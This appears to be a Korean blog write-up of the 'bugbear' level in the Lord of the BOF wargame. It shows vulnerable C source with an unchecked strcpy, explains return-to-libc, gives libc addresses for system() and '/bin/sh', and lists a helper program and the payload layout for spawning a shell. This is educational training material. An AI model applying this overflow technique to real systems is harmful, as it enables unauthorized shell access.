[LOB] darkknight -> bugbear

Posted by dw0rdptr
2015. 4. 12. 15:30 System/LOB


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/
 
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{    
    char buffer[40];    
    int i;    
    
    if(argc < 2){        
        printf("argv error\n");       
        exit(0);    
    }    
 
    if(argv[1][47== '\xbf')    
    {        
        printf("stack betrayed you!!\n");        
        exit(0);    
    }    
    
    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
 
}
cs


bugbear의 소스이다 . 힌트를 보면 알 수 있듯이 이번엔 RTL 기법을 사용해서 풀어야 한다. ret에 스택내의 주소를 덮으려하면 스택이 배신했다고 하면서 종료돼버린다.


RTL(Return To Libc) : 스택에서 어떤 코드도 실행되지 못하도록 하는 보호기법이 나온 이후 나온 기법. 프로그램이 실행될 때 프로그램이 사용한 함수를 포함한 내장라이브러리인 Libc가 Libc 영역에 적재된다. 이 라이브러리에는 system()함수도 포함되어있는데 프로그램이 이함수를 쓰지 않더라도 LIbc가 통째로 올라가기 때문에 메모리에 같이 적재된다

*system()함수 : 명령어를 실행하는 함수. 


이제 메모리 적재되어있는 Libc 영역에서 system() 함수의 주소를 찾고 인자로 "/bin/sh"를 주면 다음레벨의 쉘을 딸 수 있을것이다.


system()함수의 주소는0x40058ae0이다.


이제 "/bin/sh"문자열이 있는 주소를 전달하면 되는데 환경변수를 /bin/sh로 등록해도되지만 system() 함수 내에서도 /bin/sh라는 문자열이 존재한다.

1
2
3
4
5
6
7
8
9
10
int main(int argc, char * argv[])
{
    long shell;
    shell = 0x40058ae0//system 함수 주소
    while(memcmp((void *)shell, "/bin/sh"8)) //시스템 함수 내에서 /bin/sh문자열 비교 
    shell++;
    printf("/bin/sh = %p\n",shell); // /bin/sh문자열이 있는 
}
 
 
cs

 위 소스로 "/bin/sh" 문자열이 있는 주소를 찾을 수 있다.


주소는 0x400fbff9


프로그램의 ret주소를 system()함수의 주소로 채우고 뒤에 인자를 전달하는데, ret명령에 의해 호출된 system() 함수는 ret가 쌓이지 않기 때문에 비어있는 ret자리인 4byte를 더미로 채우고 인자(/bin/sh의 주소)를 전달한다



페이로드와 Password




'System > LOB' 카테고리의 다른 글

[LOB] giant -> assassin  (0) 2015.04.14
[LOB] bugbear -> giant  (2) 2015.04.14
[LOB] golem -> darkknight  (0) 2015.04.11
함수의 프롤로그(prologue) 및 에필로그(epilogue)  (0) 2015.04.10
[LOB] skeleton -> golem  (0) 2015.04.07